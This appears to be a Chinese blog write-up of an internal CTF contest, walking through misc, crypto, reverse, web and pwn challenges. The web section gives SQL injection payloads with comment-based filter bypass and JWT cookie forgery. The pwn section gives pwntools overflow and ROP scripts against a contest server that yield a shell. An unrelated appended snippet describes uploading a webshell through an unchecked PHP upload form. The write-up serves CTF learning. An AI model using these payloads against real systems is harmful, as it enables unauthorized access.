WustAis第二次内部赛WriteUp

MISC

还是写题爽

brainfuck在线解密打开压缩包后手动补齐二维码的三个角扫码即可

Cry

把图片拖进winhex或HxD拉到最后可以看到右边的文本里有flag

CRYPTO

be@r

在线与熊论道解密即可

Are u ok?

在线AES解密,密钥是题目描述"nobody is ok.",解出压缩包的密码是mima123456,打开压缩包后用在线ok解密
在这里插入图片描述

WEB

签到题

提示是四位纯数字密码,用Burpsuite抓包之后send to intruder进行爆破即可

有点像甜饼

这道题要F12修改账号和密码限制的最大长度
根据提示和尝试发现账号必须是admin才能成功登录
Burpsuite抓包后发现Cookie是JWT
在这里插入图片描述用网站https://jwt.io/进行在线调试
在这里插入图片描述发现user是guest,permission是false,所以进行伪造,改成admin和true,但是还要找最后一步的密钥,由登录框可能存在sql注入,又因为账号必须是admin,所以只能在密码处注入,fuzz之后发现过滤了单引号和空格,是数字型注入并且要用/**/绕过空格。
payload如下:

1/**/and/**/1=2/**/order/**/by/**/1,2,3#   测试表有几列
1/**/and/**/1=2/**/union/**/select/**/1,2,database()#   爆库名,得到数据库名字ctf
1/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#   爆表名,得到表名ctf,hint

在这里插入图片描述

1/**/and/**/1=2/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x68696e74#
#爆字段名,需要用16进制绕过,得到字段id,hint_key   

在这里插入图片描述

1/**/and/**/1=2/**/union/**/select/**/1,2,hint_key/**/from/**/hint#
#查询数据,得到y0u_can_f1nd_me即为密钥

在这里插入图片描述
Cookie伪造

在这里插入图片描述复制粘贴替换掉原来的Cookie得到flag

在这里插入图片描述

RE

maze

拖进ida按F5查看伪代码

在这里插入图片描述进入move函数

在这里插入图片描述点进数组a

在这里插入图片描述
把move函数中的数字按r转换成字符

在这里插入图片描述
move函数里的a1是我们输入的v9[i]。::a1是全局变量,值必须在0到62之间,且作为数组a的序号必须让a[::a1]=‘P’才能让move函数的返回值是1。而main函数里最后a[a1]=87(转换为字符是’W’)时才能拿到flag。根据题目maze(迷宫),数组a大小是64,D:+1,S:+8(WASD对应上左下右),for循环是14次,v10还有一次,可写出8x8的矩阵,我们从0开始只能走数组a的值是‘P’的序号,经过15步最后走到数组a的值是’W’对应的序号就能成功(类似走迷宫)。可以用画图软件标出数组a的值是‘P’和’W’的序号

在这里插入图片描述
在Ubuntu里试验一下成功了

在这里插入图片描述

flag即为flag{DSSDSSSDDWWDDS}

PWN

overflow_still

在这里插入图片描述
双击查看s的地址

在这里插入图片描述
双击查看a1的地址

在这里插入图片描述

二者的地址相差+0x00000008 - (-0x00000028) = 48,再将-889275714转化为0xcafebabe,p32函数可以将其转化为\xbe\xba\xfe\xca,用pwntools写脚本如下:

from pwn import *
c=remote("121.41.113.245",10001)
c.send("A"*48+"\xbe\xba\xfe\xca")
c.interactive()

在这里插入图片描述

rop_still

发现了what_is_this函数里执行了/bin/sh

在这里插入图片描述
查看此函数的地址

在这里插入图片描述
下面就要计算偏移量了

在Ubuntu里首先给权限

sudo chmod +x rop

使用gdb工具
在这里插入图片描述
在这里插入图片描述计算得偏移量为60

在这里插入图片描述
写脚本如下:

from pwn import *
p=remote("121.41.113.245",10002)
p.send('A'*60+p32(0x08048562))
p.interactive()

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,我们需要分析题目所提供的代码: ```php <?php error_reporting(0); if ($_FILES["upload"]["error"] > 0) { echo "Error: " . $_FILES["upload"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["upload"]["name"] . "<br />"; echo "Type: " . $_FILES["upload"]["type"] . "<br />"; echo "Size: " . ($_FILES["upload"]["size"] / 1024) . " Kb<br />"; move_uploaded_file($_FILES["upload"]["tmp_name"], "upload/" . $_FILES["upload"]["name"]); echo "Stored in: " . "upload/" . $_FILES["upload"]["name"]; } ?> ``` 从上述代码中我们可以发现,这是一个文件上传的代码,该代码运行后会将用户上传的文件存储到 `upload` 目录下。 但是,该代码没有对上传的文件类型进行限制,这意味着我们可以上传任何类型的文件,甚至是一些恶意的文件。我们可以尝试上传一些常见的恶意文件,比如 `webshell`。 我们可以在本地创建一个 `webshell.php` 文件,然后上传到服务器上的 `upload` 目录。上传完成后,我们可以访问 `http://xxx.xxx.xxx.xxx/upload/webshell.php` 来执行我们上传的 `webshell`。 最后,我们需要注意的是,该上传脚本没有做任何安全性检查,这意味着我们可以上传任意大小的文件,这可能会影响服务器的性能,甚至导致服务器崩溃。因此,在实际应用中,我们应该对上传的文件大小进行限制,同时对上传的文件类型进行检查,从而确保服务器的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值